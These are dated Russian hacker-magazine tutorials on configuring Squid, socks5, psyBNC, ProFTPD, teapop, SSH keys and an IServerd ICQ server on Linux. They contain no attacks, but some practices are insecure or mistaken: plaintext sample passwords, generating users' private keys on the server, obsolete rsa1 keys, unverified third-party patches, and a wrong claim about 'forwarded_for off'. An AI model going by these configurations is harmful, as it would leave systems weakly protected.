После того как инсталляция Squid завершилась (естественно, успешно ;)), перейдем к самой интересной и увлекательной процедуре - настройке squid.conf (который по умолчанию находится в /usr/local/squid/etc/squid.conf). Конфу следует уделить особое внимание, чтобы гарантировать правильную работу сервера, а также разграничить доступ к нему (иначе придут злобные хакеры и прокачают 10 гигабайт через твой проксик ;)). Ниже ты увидишь, какие опции можно выкинуть, а какие имеют огромное значение. Итак, поехали!

http_port 3128

## Порт, на котором будет висеть squid. По умолчанию 3128.

icon_directory /usr/local/squid/share/icons

error_directory /usr/local/squid/share/errors

## Пути к иконкам и сообщениям об ошибках демона.

acl QUERY urlpath_regex cgi-bin \?


Спецвыпуск Xakep, номер #033, стр. 033-030-2, ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-030-2

no_cache deny QUERY

## Запрещение кеширования файлов в каталоге /cgi-bin.

cache_dir ufs /usr/local/squid/cache 100 16 256

cache_access_log /usr/local/squid/logs/access.log

cache_log /dev/null

cache_store_log /dev/null

## Директория для кеша, а также пути к логам. В моем случае логируются только входящие запросы к проксику.

pid_filename /usr/local/squid/logs/squid.pid

## Путь к pid демона.

ftp_user anonymous@mail.ru

## E-mail адрес, который будет при анонимном ftp-соединении.

unlinkd_program /usr/local/squid/libexec/unlinkd

## Путь к внешней программе unlinkd - нужна для отключения ненужных cache-файлов.

# ACCESS CONTROLS

## Самое интересное - настройка доступа к демону по ip-адресам.

acl all src 0.0.0.0/0.0.0.0

## Добавим запись all, которая имеет сорц, равный произвольному ip-адресу.

acl password src 192.168.0.0/24 192.168.1.0/24

## А также две локальные подсетки (допустим, на этих адресах будут находиться клиенты и работники твоей локалки).

acl CONNECT method CONNECT

## Добавим поддержку метода CONNECT (куда современному проксику без него?).

http_access allow password

## Разрешим юзать прокси-сервер клиентам (смотри acl password).

http_access deny CONNECT !password

## Использовать SSL CONNECT разрешаем только password-группе.

http_access deny all

## Остальные пусть идут лесом ;).

## С ACL разобрались. Мы еще вернемся к контролю при разборе полетов. Идем дальше.

cache_mgr admin@localnet.ru

cache_effective_user admin

cache_effective_group root

## Задаем мыло владельца проксика, а также его права (Squid при запуске сделает setuid() и будет работать с кешем с этими правами).

forwarded_for off

## Мутим прозрачный прокси-сервер. Благодаря этой опции ip-адрес, с которого осуществлялся коннект на демон, отображаться не будет.

dns_testnames ns.localnet.ru

as_whois_server whois.ripn.net

## Напоследок задаем два параметра: ns-сервер локалки и whois-сервер (нужны для корректной работы проксика).

Вот, собственно, и весь конфиг, который схиляет для нормальной работы Squid. Разумеется, если ты хочешь большего, этих опций мало - полный перечень параметров демона, а также описание к ним ты можешь найти, например, на www.opennet.ru.

Следующим шагом для тебя будет создание кеш-директорий. Перед этим необходимо поставить владельца и группу на каталог /usr/local/squid/cache. В нашем случае команда будет выглядеть следующим образом:

# chown admin:root /usr/local/squid/cache

Теперь переходим в /usr/local/squid/sbin и запускаем бинарник squid с параметром -z. Демон попросит подождать и высветит надпись, которая дает понять, что создание директорий в процессе. На 486dx эта операция выполняется около 10-15 минут, так что потерпи и ни в коем случае не прерывай работу Squid.

ДОВЕРЯЙ, НО ПРОВЕРЯЙ!

Создали? Замечательно! Настало время проверить работу проксика. Первым делом запустим его (без параметров). Если конф настроен правильно, то ошибок при запуске не будет. Телнетимся на порт 3128 и видим connection refused. Поторопились... Но как узнать, в чем дело и почему прокси не работает? Ответ прост - запустить squid с параметром -v 2 (полный дебаг). После старта картина становится ясной - Squid не может подгрузить файлы с сообщениями об ошибках. На самом деле, в каталоге /usr/local/squid/share/errors содержится много подкаталогов, которые имеют названия стран. Являясь патриотом, выбираем Россию, кодировку cp-1251 (или koi8, на твой выбор). Копируем внутренности этого каталога в /usr/local/squid/share/errors, например, командой


Спецвыпуск Xakep, номер #033, стр. 033-030-3, ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-030-3

# cp /usr/local/squid/share/errors/Russian-cp1251/* /usr/local/squid/share/errors/

После этого попробуем запустить Squid еще раз. Запуск, телнет, видим, что порт успешно слушается. Отлично! Заодно проверим контроль. Пишем в сокет:

HEAD http://www.ya.ru HTTP/1.1

Если ты увидишь приветствующий хеадер HTTP 200 OK, то радоваться не стоит. Да, конечно, есть смысл, ведь ты только что довел Squid до рабочего состояния... Но если ты был внимательным, то заметил, что локальному src не разрешается юзать проксик. Поэтому сервер будет работать правильно только в том случае, если header будет начинаться с запрещающих слов: HTTP 403 ERROR. Затем должна последовать проверка с src 192.168.0.0/24, и если все работает - нет повода для беспокойства. В противном случае пересмотри squid.conf, возможно ты в чем-то ошибся.

Остается запихнуть Squid в автозагрузку, чтобы не запускать процесс вручную после каждого ребута. Это ты должен уметь делать сам ;).

Вот и все. Админ доволен, юзеры довольны, и сервер зря не пропадает. На досуге можешь почитать /usr/local/squid/logs/access.log и пофильтровать acl'ом ссылки на порносайты, которые почему-то так любят посещать сотрудники сети в рабочее время... Но это совсем другая история.

НОСКИ - ПРОКСИ НОВОГО ПОКОЛЕНИЯ

Прочитав название, ты, наверное, догадался, что речь пойдет о настройке Socks. "Зачем устанавливать Squid и Socks на одном сервере?" - спросишь ты. "А почему бы и нет?" - отвечу я. Дело в том, что пользователи любят пользоваться аськой, которая очень хорошо взаимодействует с проксиком Socks5. В HTTPS-режиме случаются частые беспричинные дисконнекты.

Первую часть установки особо комментировать не стоит. Сливаем соксы по адресу: http://ahriman.bucharest.roedu.net/pub/linux/net/proxy/socks5-v1.0r10.tar.gz (на странице производителя для скачивания носков необходима регистрация), а также небольшой патч к нему (потом расскажу - зачем): http://ahriman.bucharest.roedu.net/pub/linux/net/proxy/socks5-v1.0r10.patch1.txt. После этого распаковываем архив, конфигурим. Затем немного пропатчим сырцы соксов. Дело в том, что проксик плодит зомби-процессы при определенных условиях. Нам это не нужно :), поэтому переименуем расширение патча на .patch и выполним команду:

# patch < socks5-v1.0r10.patch

При верном раскладе мы пропатчим файл socks5/lib/hostname.c и предотвратим порождение ненужных зомби-процессов.

АВТОРИЗУЕМСЯ

Далее идут команды make и make install. После успешной установки необходимо создать конфиг-файл. По дефолту он будет находиться в /usr/local/etc/socks5.conf. В socks5 существует несколько методов авторизации. Для разнообразия сделаем авторизу не по хостам, а по паролю. Для этого создадим конфиг со следующими параметрами:


Спецвыпуск Xakep, номер #033, стр. 033-030-4, ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-030-4

auth - - u

permit u - - - - - -

Что будет означать авторизацию по паролю от всех хостов. В этой же папке должен находиться файл socks5.passwd, в котором записаны пароли пользователей (к сожалению, в plain-text). Этот конф может иметь вид:

icq:icqpassw0rd

root:letmeinsocks5

user:userpass

Все! Мы выполнили минимальную настройку socks5-демона. Остается лишь запустить его, вызвав /usr/local/bin/socks5. После этого будет слушаться порт 1080, к которому можно законнектиться любым приложением :). Логи пишутся в стандартный /var/log/messages, но ты можешь перенастроить это, немного помучив syslogd.

Вообще, socks5 может многое: коннектиться к другому сокс-серверу, авторизовать по хостам и еще какими-то непонятными методами и т.д. Рекомендую почитать man socks5.conf для общего развития.

Проверить работу сокса не составит особого труда. Запускаем тот же самый mIRC, заходим в опции, Connect->Firewall, вписываем хост машины, порт 1080, тип SOCKS5 и аккаунт (например, root:letmeinsocks). Затем соединяемся с IRC-сервером. Если пошел коннект - носки встали, как положено ;), если коннекта нет - уходим в /var/log/messages и разбираемся, в чем дело.

РАДОСТИ В IRC - PSYBNC НА ТВОЕМ СЕРВЕРЕ

Как гласит старинная поговорка, "Делу время - потехе час", поэтому я думаю, что IRC для тебя играет далеко не последнюю роль. Как ты, наверное, знаешь, для IRC существуют свои прокси. Более того, ты будешь всегда он-лайн, а чтобы присоединиться к беседе, необходимо лишь сконнектится с проксиком. Особую популярность завоевал прокси (или баунсер, как его еще называют) PsyBnc, написанный командой tCl. Окунемся в увлекательный процесс его установки :).

ДОСТАВКА, УСТАНОВКА... НЕДОРОГО

Первым делом скачиваем баунсер с сайта разработчика: http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz. Также рекомендуется скачать небольшой патч с моего сайта: http://kamensk.net.ru/forb/1/psybnc.patch (позже я скажу, зачем он нужен). Распакуем архив и немного удивимся отсутствию configure в пакете. С одной стороны, это хорошо - пользователю меньше заботы при установке софта, но с другой - уход от стандарта может плохо закончиться. С этим я столкнулся, когда устанавливал Псю на Mandrake 9.0. Бинарник никак не хотел собираться в static-режиме, а чтобы найти ключи к make, исправить Makefile оказалось недостаточно. На самом деле, все вызовы компилятора были записаны в tools/autoconf.c и исполнялись обычной функцией system(). В этих вызовах и были нужные ключи. На самом деле, это довольно глупое решение - наличие стандартного configure было бы намного удобнее для пользователя.

Но вернемся к нашим баранам. Раз configure не оказалось, время собрать бинарник psybnc. Но перед этим вернусь к патчу, который я тебя просил скачать. Дело в том, что psybnc поддерживает такую фичу, как скриптинг. То есть ты можешь автоматически идентифицировать свой ник, канал, выполнять различные команды и т.п. Но в каждой бочке меда есть своя ложка дегтя: разработчики поторопились и сделали досадную багу в баунсере. После выполнения скрипта psybnc не завершает thread должным образом, и в итоге получается симпатичный zombie-процесс. Причем при активной работе проксика число таких процессов может достигать сотни штук. Согласись, что расходовать ресурсы старенького компа на порождение зомбей глупо и бессмысленно. Для решения этой проблемы и был написан патч (greets to BetaTEST :)), который немного видоизменяет сишник src/p_script.c. Поэтому, если ты будешь использовать скриптинг в psybnc (а, скорее всего, так и будет), выполни команду patch < psybnc.patch. После этого можно смело собирать баунсер командой make.


Спецвыпуск Xakep, номер #033, стр. 033-030-5, ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-030-5

РИСУЕМ PSYBNC.CONF

Далее необходимо создать нового пользователя в psybnc. Выполни make menuconfig, и перед тобой появится симпатичная графическая оболочка, где ты можешь за несколько минут добавить нового пользователя с правами администратора. Но для жизни этой тулзы обязательно нужны ncurses (которые, ты, наверное, не ставил в целях экономии места). Если так случилось, что система заругалась матом на отсутствие керсесов, создадим конфиг вручную. При отсутствии пользователей в конфиге баунсер автоматически создает администратора по иденту первого входящего в IRC. Пароль будет передан командой /PASS, который автоматически зашифруется в psybnc.conf.

Итак, создаем в рабочем каталоге файл psybnc.conf следующего содержания.

PSYBNC.SYSTEM.PORT1=31337

PSYBNC.SYSTEM.LANGUAGE=russian

PSYBNC.SYSTEM.HOST1=*

Этих трех строк вполне достаточно. Теперь можно запустить psybnc и попытаться его заюзать. Если при запуске высветится строка Listener created :0.0.0.0 port 31337, значит все нормально и баунсер готов к работе.

Заделаемся админом баунсера. Для этого коннектимся к серверу IRC-клиентом (переданный пароль запоминается автоматически). Если все прошло успешно, ты получишь полный help от psybnc (который ты, впрочем, можешь вызвать и сам командой /bhelp) и сообщение об автоматическом статусе администратора.

НЕМНОГО О СКРИПТАХ

Раз я заговорил о скриптинге, то продолжу тему (не зря же мы патчили баунсер ;)). Как было написано выше, скриптинг нужен для автоматического выполнения команд, а также для "реакции" на какое-либо событие.

К примеру, нам нужно заидентифицировать ник, как только сервисы попросят пароля (кстати, очень удобный скрипт - теперь тебя никогда не выкинет из ирки за плохую идентификацию). Для этого создаем файл USER1.SCRIPT в папке scripts/ (разумеется, ты должен быть USER1, проверить это можно в psybnc.conf). В нем пишем следующий скрипт:

server NOTICE *!Services@* * "*registered and protected*" echo "IDENTIFY coolpassword"

server NOTICE *!Services@* * "*зарегистрирован и защищен*" echo "IDENTIFY coolpassword"

Маска сервисов сети должна совпадать с написанной в скрипте. Как ты понял, при запросе пароля от сервисов баунсер быстро его предоставит ;).

Еще один пример. Возникла необходимость отослать CTCP-запрос на PING даже в случае, когда тебя нет в сети. Проще простого, дозаписываем в этот же файл строку:


Спецвыпуск Xakep, номер #033, стр. 033-030-6, ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-030-6

ctcp PING *!*@* * * echo "NOTICE $NICK :pong!"

Ответ придет в качестве нотайса нику, который послал запрос. Вообще, psybnc имеет довольно мощный язык скриптов, ознакомиться с ним можно, почекав мануал SCRIPTING, который находится в рабочем каталоге. Перезагрузить скрипт-файл можно командой /sreload.

И ЭТО ВСЕ?!

Поздравляю! Только что ты создал свою прокси-машину, включающую в себя целых три полезных демона, которые способны облегчить жизнь не только тебе, но и твоим клиентам и коллегам по работе. При написании материала преследовались две цели: в первую очередь, научить тебя устанавливать и настраивать прокси-сервисы, а во-вторых, намекнуть, что для старого компа лучше правильной оси ничего не существует, ибо мелкософтовские операционки безбожно жрут ресурсы, а Linux не особо требователен к ним.


Спецвыпуск Xakep, номер #033, стр. 033-034-1, АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-034-1

(forb@real.xakep.ru)

Далеко не каждый представляет себе тяжелую жизнь админа. Не работает сервер - виноват админ, проблемы с Инетом - виноват админ. И даже в типичном случае, когда у клиента или офисного коллеги кривые руки, виноват, как ни странно, тоже админ :). К тому же, кому как ни системщику надо следить за своими серверами и работниками, своевременно обновлять софт и внедрять новые технологии. Если администратор набил руку в своей профессии, то особых сложностей у него не возникнет. Но если человек только адаптируется к рабочей обстановке, перед ним могут встать некоторые вопросы и проблемы. В этой статье я обрисую наиболее типичные траблы, с которыми может столкнуться системщик, и расскажу, как их решить под пингвином.

Разумеется, что безопасность в твоей работе будет превыше всего. Поэтому на сервере должен находиться лишь софт, проверенный временем. Админить работников, которые не разбираются в Linux, тоже не всегда приятно. Ты, наверное, в курсе, что узнать пароль у служащего в компании намного легче, чем сломать систему вручную. Попробуем реализовать ситуацию следующим образом: установим на сервере софт, который поддерживает внешнюю аутентификацию (минуя системный /etc/shadow). После этого можно будет залочить пользователям пароли, обезопасив систему от хакеров.

СТАВИМ FTPD

В хорошем офисе никуда без Ftp-сервера. Оно понятно, пользователям постоянно требуется файлохранилище, на котором находятся разного рода документы и программы. В принципе, поднять сервис особого труда не представляет, но нужно четко знать устройство и работу демона перед тем как ставить его на сервер. Для нас необходимо добиться соблюдения двух условий: безопасности и поддержки внешней аутентификации. Я выбрал два демона, которые сочетают в себе эти фичи. Это ProFTPD и PureFTPD. Ввиду сложности установки и настройки второго сервера, я ограничусь описанием работы ProFTPD, но в PureFTPD намного больше возможностей: интеграция с mySQL, умная реализация прав и т.д. и т.п. Предлагаю установить его самостоятельно, предварительно скачав с сайта производителей по адресу: ftp://ftp.pureftpd.org/pub/pure-ftpd/releases/pure-ftpd-1.0.15.tgz.

Мы же займемся установкой надежного и безглючного ProFTPD. Сначала сгрузим сорцы этого сервера (ftp://ftp.proftpd.org/distrib/source/proftpd-1.2.8.tar.gz). Далее все стандартно: распаковываем, конфигурим, инсталлируем. С этим проблем возникнуть не должно. После того как бинарники будут на своих местах, займемся редактированием конфига /etc/proftpd.conf. Вот как выглядит правильный файл, который как раз подходит для нашей ситуации.

ServerName "ProFTPD on office.localnet.ru"

## Здесь необходимо указать баннер сервиса, который будет отображаться пользователю при коннекте.

ServerType inetd

## Тип работы сервиса. Если будет standalone, то демон будет запускаться отдельным потоком, не вовлекая inetd в свои проблемы ;). Иначе будет режим inetd. О том, как прописать сервер в конфиг inetd, я скажу немного позже.

DefaultServer on

## Установка флага Default. Должно быть в положении on, если на машине один ftpd


Спецвыпуск Xakep, номер #033, стр. 033-034-2, АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-034-2

DefaultRoot ~ !root

## Установка chroot() для определенных групп. Chroot() это так называемая "скорлупа", когда сервер будет запущен относительно какой-либо корневой директории. В этом режиме посмотреть каталоги ниже нее невозможно.

В нашем примере chroot() выставляется всем пользователям, не имеющим root группу. Разумеется, что админам такой режим не нужен, поэтому, если у пользователя нулевой gid, сервер запустится относительно / каталога.

Port 21

## Порт, на котором будет находиться сервис. По умолчанию - 21.

Umask 022

## Параметр, отвечающий за расстановку прав на новые каталоги и файлы.

MaxInstances 30

## Бесполезный параметр для режима inetd :). Актуален лишь в standalone и указывает на количество подпроцессов сервиса.

User ftp

Group guest

## Права, под которыми будет запущен сервер. Разумеется, перед запуском необходимо создать юзера ftp и группу guest.

TimeoutNoTransfer 600

TimeoutIdle 1200

## Дефолтовая расстановка таймаутов.

<Global>

PassivePorts 2000 2500

AuthUserFile /etc/passwd.ftpd

RootLogin off

AllowOverwrite yes

AllowRetrieveRestart yes

AllowStoreRestart yes

DisplayLogin .message

</Global>

## Раздача прав на перезапись и дозапись в обе стороны. А также явное задание портов для передачи данных и отдельного файла с паролями. Не забудем про запрет рутового входа (для нашей же безопасности).

<Directory /*>

AllowOverwrite on

</Directory>

## Разрешаем дозапись на все директории.

<Anonymous ~ftp>

User ftp

Group ftp

## Для анонимной поддержки устанавливаем соответствующие права.

UserAlias anonymous ftp

## И делаем алиасинг логина anonymous.

MaxClients 10

## Пускаем лишь 10 клиентов.

DisplayLogin welcome.msg

DisplayFirstChdir .message

## Укажем пути к сообщениям.

<Limit WRITE>

DenyAll

</Limit>

## Запрещаем анонимным юзерам дозаписывать файлы.

</Anonymous>

Вот, собственно, и все важные параметры, которые необходимо правильно проставить. Далее создаем файл /etc/passwd.ftpd, формат которого в точности совпадает с /etc/shadow. Туда прописываем всех, кому необходимо иметь доступ к ftpd. Затем вставляем в /etc/inetd.conf следующую строку:

ftp stream tcp nowait root /usr/sbin/in.proftpd in.proftpd,

которая запустит сервис ftp через inetd, после следующей команды killall -1 inetd, заставляющей перечитать конфигурационный файл.

С настройкой закончено! Пользователи, которые прописаны в /etc/passwd.ftpd, будут иметь доступ к сервису. Права на этот файл должны совпадать с правами, под которыми запущен ftpd, то есть владельцем passwd.ftpd должен быть пользователь ftp.

ПОЧТОВЫЕ ЗАМОРОЧКИ

В любой офисной локалке существует почта, которую необходимо правильно настроить. Я не буду акцентировать твое внимание на установку smtpd, это не очень интересно. Поговорим о проблеме выбора pop3d, поддерживающего внешнюю аутентификацию. Имеется два самых популярных сервера - qpopper и teapop. Первый мы устанавливать не будем, так как количество багов в нем превышает все возможные пределы :). Teapop же отличается многофункциональностью и безопасностью, поэтому рассмотрим его подробнее.


Спецвыпуск Xakep, номер #033, стр. 033-034-3, АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-034-3

Скачиваем teapop по ссылке: http://www.toontown.org/pub/teapop/teapop-latest.tar.gz. Распаковываем, конфигурим, инсталлируем. После этого немного поковыряем файл /etc/teapop.passwd, в котором указывается, кому можно снимать почту. Для обычной настройки сервиса достаточно вписать пару строк в этот файл.

empty:*:/etc/poppasswd:/var/mail::

default:*:reject

Смысл этих строк довольно простой. Параметр empty означает абсолютную маску для пользователей. В /etc/poppasswd будут содержаться шифрованные пароли юзеров, директория с почтовыми сообщениями /var/mail. Затем идет строка default, которая запрещает посторонним пользователям использовать teapop-авторизацию.

Файл /etc/poppasswd будет выглядеть примерно следующим образом:

postmaster:2de/DwBdsap2R

user:veMNdwYe287.D

Как ты догадался, он содержит всего два поля - имя пользователя и его пароль.

К слову, в дефолтовом teapop.passwd имеется значительный мануал, судя по которому почтовый сервис умеет работать с различными БД (например, mysql, postgresql). Мы не будем залезать в дебри баз данных - предлагаю освоить это самостоятельно :).

Последним штрихом будет редактирование /etc/inetd.conf, в который добавляется строчка для teapop. Надеюсь, ты разберешься с этим по аналогии с Ftpd, настройка которого была описана выше.

БЕЗОПАСНЫЙ SSHD

Как я уже говорил, мы стремимся к закрытию системных паролей офисных работников. Но бывают ситуации, когда необходимо дать работнику ssh-доступ. В этом случае залочить пароль не удастся. Если ты знаком с основными методами авторизации, то знаешь, что пароль - не единственный метод получить доступ на сервер. Существует такое понятие, как ssh-ключи. Это очень удобно, и сейчас мы попробуем создать индивидуальные ключики для нужного нам пользователя.

В комплекте пакета OpenSSH поставляется бинарник ssh-keygen, который, собственно, и занимается генерацией ключей. От тебя требуется указать в параметре -t тип ключа. Их 3 - rsa1, rsa и dsa. После запуска ssh-keygen ты увидишь примерно следующее:

[forb@ruhost4 forb]$ ssh-keygen -t rsa1 -C 'mykey'

Generating public/private rsa1 key pair.

Enter file in which to save the key (/home/users/forb/.ssh/identity): testkey

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in testkey.

Your public key has been saved in testkey.pub.

The key fingerprint is:

8c:b3:1f:67:ab:01:8c:ae:60:a1:98:39:32:a5:6c:61 mykey

После этих действий будут созданы файлы testkey и testkey.pub (приватный и публичный ключ, соответственно). Затем скопируй публичный ключ в папку .ssh под именем authorized_keys, а приватный транспортируй на машину работника офиса, которому необходимо предоставить шелл. Этот ключ должен находиться в папке .ssh под именем identity.

Что-то не работает? Запускай /usr/bin/ssh с параметром -v (дебаг), после этого ты увидишь полный логинг пакетов и быстро разберешься, в чем дело.

Теперь можешь залочить пользователям пароли, потому как мы поставили основные сервисы, которые не привязываются к /etc/shadow. Это можно сделать как вручную (прямым редактированием теневого файла), так и командой passwd -l username.


Спецвыпуск Xakep, номер #033, стр. 033-034-4, АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-034-4

СВОЙ ICQ-СЕРВЕР В ОФИСНОЙ СЕТИ

Как показывает практика, все офисные работники активно общаются в ICQ. Общаются, несмотря на предупреждения и фаерволлы, поставленные админами. Хотя у Аськи и минимальный трафик, но в сумме это может вылететь в значительное число мегабайт ;). Если порыться на Фрешмите, можно найти софт, который позволяет юзать собственный ICQ-сервер в локальной сети. Это и полезно, и удобно одновременно: посуди сам, работники могут быстро передать нужный файл по Аське и обменяться парой фраз. Кроме того, для удобства можно раздавать уины по какому-либо критерию - например, по номеру кабинета, рабочей станции и т.п.

Теперь о сложностях. Сервер, который я бы рекомендовал установить, носит название IServerd. У него достаточно много зависимостей, одна из которых PostgreSQL (а также ncurses, но они устанавливаются по умолчанию ;)). На многих серверах в качестве БД присутствует лишь mySQL, но IServerd нужен только Postgres. Автор мотивирует это тем, что Постгрес содержит все необходимое для правильной работы сервера (поддержка транзакции с блокировкой на уровне строк, бинарных объектов до 1 кб и триггеров), чего не скажешь о mySQL.

Ознакомившись и устранив все зависимости, выкачиваем IServerd по ссылке: http://iserverd.khstu.ru/download/IServerd-stable.tar.gz. После этого выполним следующий список команд.

tar xzvf ./IServerd-stable.tar.gz

cd IServerd-stable

./configure --with-russian

make all

make install

Чтобы в сервере была поддержка русских сообщений, укажем соответствующую опцию конфигуратора. Следующим шагом будет настройка iserv.conf. Этому файлу нужно уделить особое внимание, потому как каждая опция в нем включает или запрещает какую-нибудь важную фичу. Берем дефолтовый конфиг из каталога data/etc, переименовываем его в /etc/iserverd/iserv.conf и внимательно смотрим на его параметры.

[Globals]

Bind on all interfaces = No

Bind interface = 0.0.0.0/32

Listen port = 4000

## Указываем, на какой интерфейс и порт сажать iserverd. Если хочешь прослушивать порт на всех интерфейсах машины, проставь параметру Bind all значение Yes.

Pid file path = @VAR_DIR@/iserverd.pid

Translate path = @ETC_DIR@/translate

Translate table = RUSSIAN_WIN

Var dir path = @VAR_DIR@

## Убедись в наличии файлов перекодировки и pid, иначе сервер не запустится. По умолчанию RUSSIAN_WIN расположен в etc/data, поэтому придется перетащить его вручную.

Server mode = daemon

Min childs = 4

Max childs = 100

Default ping time = 120

Externals number = 0

## Эти значения не меняй. Они подобраны грамотными разработчиками ;).

Admin email = root@localhost

Info Password = DEFAULT

## Здесь впиши свой e-mail и пароль для использования тулз администрирования iserverd.

database user = iserverd

database password = sicq

## Смени эти данные. Они необходимы для корректного входа в PostgreSQL со стороны iserverd.

database addr =

database port = 5432


Спецвыпуск Xakep, номер #033, стр. 033-034-5, АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-034-5

users db name = users_db

## Данные о датабазе. Работают по умолчанию :).

Log level = 10

Debug level = 10

## Если не хочешь мусора, занули эти значения.

V3 registration enabled = Yes

V3 auto registration = Yes

V3 post-register info = etc/texts/post_reg_auto.txt

## Если тебе влом самостоятельно добавлять юзеров и ты хочешь поддержки авторегистрации, включи эти параметры. Обязательно убедись в наличии файла etc/texts/post_reg_auto.txt, иначе авторег не будет работать.

С настройкой конфа закончили. Теперь перейдем в папку scripts. Там ты найдешь файл db_manage.sh. Подредактируй в нем имя пользователя и пароль для входа в базу. Затем запускай с параметром create users_db. Будут созданы важные таблицы для работы сервера. Там же есть скрипт icquser, с помощью которого ты можешь вручную добавить, удалить icq-пользователей, а также просмотреть данные по ним. Это делается запуском icquser с параметром add, del и info, например:

./icquser add 140

Добавит пользователя с уином 140 (перед этим скрипт интерактивно попросит ввести пароль и базовые данные).

Последним шагом будет добавление iserverd в inetd.conf. Это мы делали уже два раза, поэтому не буду заострять на конфе внимание ;).

Хотелось бы обратить внимание на логи IServerd. Я рекомендую подредактировать /etc/syslogd.conf, чтобы отделить записи ICQ-сервера от общего /var/log/messages. Для этого дозапишем в конфиг следующие строки.

!IServer

*.* /var/log/IServer.log

После этого пошлем процессу syslogd сигнал 1, и iserverd будет писать логи в IServer.log. Кстати, в папке /etc/iserverd ты обнаружишь файл debug.log, который предназначен для отлова багов ;). Если вдруг найдешь там инфу о неизвестных пакетах, пошли их создателю демона, чтобы устранить ошибки в следующих релизах.

Вот, собственно, и все. Установкой IServerd ты убьешь двух зайцев: теперь работники сети могут общаться между собой и обмениваться файлами, а ты забудешь о проблеме оплаты трафика за ICQ :).

КЛИЕНТСКАЯ ЧАСТЬ

Настройка рабочего сервера дело благородное. Но стоит упомянуть и о клиентской стороне. Поэтому в перспективе ты можешь заставить работников перейти на Linux. Да, я не спорю, Linux может юзаться как в качестве сервера, так и в роли рабочей станции. Но заставить кого-то променять любимый Мастдай на сложный Linux очень трудно. Хотя в Linux есть практически все для работы (в этом ты лишний раз убедишься, дочитав этот номер до конца). Для бухгалтера существуют порты 1C, для программера удобные редакторы кода и среды программирования (Kylix, например), для дизайнера - удобные редакторы HTML, PHP и CGI скриптов, а также любимый Gimp :). Если юзеры локалки поверят в супербезопасность и возможности Линя, то у тебя есть реальный шанс подсадить их на правильную ось.

Итак, я надеюсь, ты понял: чтобы тебя считали лучшим админом, необходимо сочетать установку безопасного софта с удовлетворением (насколько это возможно) извращенных запросов твоих клиентов, поднимая для них хороший софт. Если ты раньше думал, что работать админом сложно и неинтересно, надеюсь, этот материал тебя переубедил ;).


Спецвыпуск Xakep, номер #033, стр. 033-034-6, АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

АДМИНИМ ПРАВИЛЬНО! Руководство офисного пингвинистратора

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-034-6

Если сервер защищен фаерволлом, то ты можешь выделить порты, которые будут использоваться для передачи данных, предварительно сняв с них фильтр. Интервал портов задается опцией PassivePorts в /etc/proftpd.conf

Ссылки на софт, который упоминался в этой статье:

ProFTPD: ftp://ftp.proftpd.org/distrib/source/proftpd-1.2.8.tar.gz.

Pure-FTPD: ftp://ftp.pureftpd.org/pub/pure-ftpd/releases/pure-ftpd-1.0.15.tgz.

TeaPOP: http://www.toontown.org/pub/teapop/teapop-latest.tar.gz.

IServerd: http://iserverd.khstu.ru/download/IServerd-stable.tar.gz.


Спецвыпуск Xakep, номер #033, стр. 033-038-1, СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-038-1

Ставим NT'вый гейт на старый металл

Прива! Скажу сразу, я не идиот, даже не псих и не маниакально-шизоидный почитатель Дани. Я знаю, что Линух - рулезз, знаю и о глюках, дырах, багах виндавоза, причем знаю не понаслышке. Но мне выпала нелегкая судьба поставить и настроить гейт на творениях дяди Билла.

